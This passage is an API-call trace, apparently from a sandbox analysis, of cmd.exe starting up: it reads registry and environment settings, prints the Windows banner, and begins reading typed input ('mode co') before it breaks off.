RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x4, lpData=0xf4183ce9f0*=0x40, lpcbData=0xf4183ce9d4*=0x4) returned 0x0 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x0, lpData=0xf4183ce9f0*=0x40, lpcbData=0xf4183ce9d4*=0x1000) returned 0x2 [0227.251] RegCloseKey (hKey=0x7c) returned 0x0 [0227.251] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xf4183ce9d8 | out: phkResult=0xf4183ce9d8*=0x7c) returned 0x0 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x0, lpData=0xf4183ce9f0*=0x40, lpcbData=0xf4183ce9d4*=0x1000) returned 0x2 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x4, lpData=0xf4183ce9f0*=0x1, lpcbData=0xf4183ce9d4*=0x4) returned 0x0 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x0, lpData=0xf4183ce9f0*=0x1, lpcbData=0xf4183ce9d4*=0x1000) returned 0x2 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x4, lpData=0xf4183ce9f0*=0x0, lpcbData=0xf4183ce9d4*=0x4) returned 0x0 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x4, lpData=0xf4183ce9f0*=0x9, lpcbData=0xf4183ce9d4*=0x4) returned 0x0 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x4, lpData=0xf4183ce9f0*=0x9, lpcbData=0xf4183ce9d4*=0x4) returned 0x0 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x0, lpData=0xf4183ce9f0*=0x9, lpcbData=0xf4183ce9d4*=0x1000) returned 0x2 [0227.251] RegCloseKey (hKey=0x7c) returned 0x0 [0227.251] time (in: timer=0x0 | out: timer=0x0) returned 0x5ee345af [0227.251] srand (_Seed=0x5ee345af) [0227.251] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0227.251] malloc (_Size=0x4000) returned 0x25290785530 [0227.251] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0227.251] malloc (_Size=0xffce) returned 0x25290890080 [0227.252] ??_V@YAXPEAX@Z () returned 0x25290890080 [0227.252] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x25290890080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0227.252] malloc (_Size=0xffce) returned 0x252908a0060 [0227.252] ??_V@YAXPEAX@Z () returned 0x252908a0060 [0227.253] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x252908a0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0227.253] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a546bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0227.253] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a546bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0227.253] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a546bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0227.253] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0227.253] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0227.253] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0227.253] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0227.253] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0227.253] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0227.253] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0227.253] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0227.254] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0227.254] GetProcessHeap () returned 0x25290790000 [0227.254] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290796500) returned 1 [0227.254] GetEnvironmentStringsW () returned 0x25290795a60* [0227.254] GetProcessHeap () returned 0x25290790000 [0227.254] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xace) returned 0x25290796540 [0227.254] FreeEnvironmentStringsA (penv="=") returned 1 [0227.254] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6a546bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0227.254] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6a546bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0227.254] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0227.254] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0227.254] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0227.254] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0227.254] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0227.254] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0227.254] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0227.254] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0227.254] malloc (_Size=0xffce) returned 0x252908b0040 [0227.254] ??_V@YAXPEAX@Z () returned 0x252908b0040 [0227.254] GetProcessHeap () returned 0x25290790000 [0227.254] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x38) returned 0x25290798580 [0227.254] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x252908b0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0227.255] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x252908b0040, lpFilePart=0xf4183cf550 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xf4183cf550*="system32") returned 0x13 [0227.255] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0227.255] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xf4183cf280 | out: lpFindFileData=0xf4183cf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x252907985c0 [0227.255] FindClose (in: hFindFile=0x252907985c0 | out: hFindFile=0x252907985c0) returned 1 [0227.255] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xf4183cf280 | out: lpFindFileData=0xf4183cf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xa154d0de, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa154d0de, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x252907985c0 [0227.255] FindClose (in: hFindFile=0x252907985c0 | out: hFindFile=0x252907985c0) returned 1 [0227.255] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0227.255] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0227.255] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0227.255] GetProcessHeap () returned 0x25290790000 [0227.256] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290796540) returned 1 [0227.256] GetEnvironmentStringsW () returned 0x25290795a60* [0227.256] GetProcessHeap () returned 0x25290790000 [0227.256] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xafe) returned 0x25290796570 [0227.256] FreeEnvironmentStringsA (penv="=") returned 1 [0227.256] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x25290890080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0227.256] GetProcessHeap () returned 0x25290790000 [0227.256] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290798580) returned 1 [0227.256] ??_V@YAXPEAX@Z () returned 0x1 [0227.256] ??_V@YAXPEAX@Z () returned 0x1 [0227.256] GetProcessHeap () returned 0x25290790000 [0227.256] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x4016) returned 0x25290798580 [0227.256] GetProcessHeap () returned 0x25290790000 [0227.256] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290798580) returned 1 [0227.256] GetConsoleOutputCP () returned 0x1b5 [0228.079] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a546fbb0 | out: lpCPInfo=0x7ff6a546fbb0) returned 1 [0228.079] GetUserDefaultLCID () returned 0x409 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6a546bb78, cchData=8 | out: lpLCData=":") returned 2 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xf4183cf910, cchData=128 | out: lpLCData="0") returned 2 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xf4183cf910, cchData=128 | out: lpLCData="0") returned 2 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xf4183cf910, cchData=128 | out: lpLCData="1") returned 2 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6a546bb68, cchData=8 | out: lpLCData="/") returned 2 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6a546bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6a546bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6a546ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6a546ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6a546ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6a546b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6a546b980, cchData=32 | out: lpLCData="Sun") returned 4 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6a546bb58, cchData=8 | out: lpLCData=".") returned 2 [0228.080] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6a546bb40, cchData=8 | out: lpLCData=",") returned 2 [0228.080] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0228.081] GetProcessHeap () returned 0x25290790000 [0228.081] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x0, Size=0x20c) returned 0x252907970f0 [0228.081] GetConsoleTitleW (in: lpConsoleTitle=0x252907970f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0228.466] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.466] GetFileType (hFile=0x254) returned 0x3 [0228.491] ApiSetQueryApiSetPresence () returned 0x0 [0228.491] ResolveDelayLoadedAPI () returned 0x7ffb08bbd990 [0228.501] BrandingFormatString () returned 0x252907975e0 [0228.508] GetVersion () returned 0x3ad7000a [0228.508] _vsnwprintf (in: _Buffer=0xf4183cfa70, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xf4183cfa08 | out: _Buffer="10.0.15063") returned 10 [0228.508] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.508] GetFileType (hFile=0x254) returned 0x3 [0228.508] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6a5477f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0228.509] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6a5477f60, nSize=0x2000, Arguments=0xf4183cfa10 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0228.509] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0228.509] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6a5469970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xf4183cf968, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesWritten=0xf4183cf968*=0x26, lpOverlapped=0x0) returned 1 [0228.509] _vsnwprintf (in: _Buffer=0x7ff6a5477f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf4183cfa38 | out: _Buffer="\r\n") returned 2 [0228.509] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.509] GetFileType (hFile=0x254) returned 0x3 [0228.509] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0228.509] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6a5469970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf4183cfa08, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesWritten=0xf4183cfa08*=0x2, lpOverlapped=0x0) returned 1 [0228.509] _vsnwprintf (in: _Buffer=0x7ff6a5477f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xf4183cfa38 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0228.509] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.509] GetFileType (hFile=0x254) returned 0x3 [0228.509] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0228.509] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6a5469970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xf4183cfa08, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesWritten=0xf4183cfa08*=0x34, lpOverlapped=0x0) returned 1 [0228.509] _vsnwprintf (in: _Buffer=0x7ff6a5477f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf4183cfa38 | out: _Buffer="\r\n") returned 2 [0228.509] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.510] GetFileType (hFile=0x254) returned 0x3 [0228.510] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0228.510] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6a5469970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf4183cfa08, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesWritten=0xf4183cfa08*=0x2, lpOverlapped=0x0) returned 1 [0228.510] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffb0fbe0000 [0228.510] GetProcAddress (hModule=0x7ffb0fbe0000, lpProcName="CopyFileExW") returned 0x7ffb0fbfe830 [0228.510] GetProcAddress (hModule=0x7ffb0fbe0000, lpProcName="IsDebuggerPresent") returned 0x7ffb0fbfe300 [0228.510] GetProcAddress (hModule=0x7ffb0fbe0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffb0e1d0a40 [0228.510] ??_V@YAXPEAX@Z () returned 0x1 [0228.511] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.511] GetFileType (hFile=0x248) returned 0x3 [0228.511] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0228.511] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xf4183cf878 | out: TokenHandle=0xf4183cf878*=0x0) returned 0xc000007c [0228.511] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xf4183cf878 | out: TokenHandle=0xf4183cf878*=0x98) returned 0x0 [0228.511] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0xf4183cf828, TokenInformationLength=0x4, ReturnLength=0xf4183cf830 | out: TokenInformation=0xf4183cf828, ReturnLength=0xf4183cf830) returned 0x0 [0228.512] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0xf4183cf830, TokenInformationLength=0x4, ReturnLength=0xf4183cf828 | out: TokenInformation=0xf4183cf830, ReturnLength=0xf4183cf828) returned 0x0 [0228.512] NtClose (Handle=0x98) returned 0x0 [0228.513] _vsnwprintf (in: _Buffer=0x7ff6a5477f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf4183cf6b8 | out: _Buffer="\r\n") returned 2 [0228.513] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.513] GetFileType (hFile=0x254) returned 0x3 [0228.513] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0228.513] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6a5469970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf4183cf688, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesWritten=0xf4183cf688*=0x2, lpOverlapped=0x0) returned 1 [0228.513] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a546bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0228.513] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x25290890080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0228.513] malloc (_Size=0x107ce) returned 0x252908a0060 [0228.513] _vsnwprintf (in: _Buffer=0x252908a0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xf4183cf6c8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0228.513] _vsnwprintf (in: _Buffer=0x252908a0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xf4183cf6c8 | out: _Buffer=">") returned 1 [0228.513] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.513] GetFileType (hFile=0x254) returned 0x3 [0228.513] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0228.513] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6a5469970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xf4183cf6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesWritten=0xf4183cf6b8*=0x14, lpOverlapped=0x0) returned 1 [0228.513] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.513] GetFileType (hFile=0x248) returned 0x3 [0228.513] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.513] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.514] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0228.514] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.514] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.514] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0228.514] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.514] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.514] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0228.514] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.514] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.514] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0228.514] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.514] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.514] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0228.514] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.514] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.514] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0228.514] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.514] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.514] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0228.514] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.514] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.514] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, 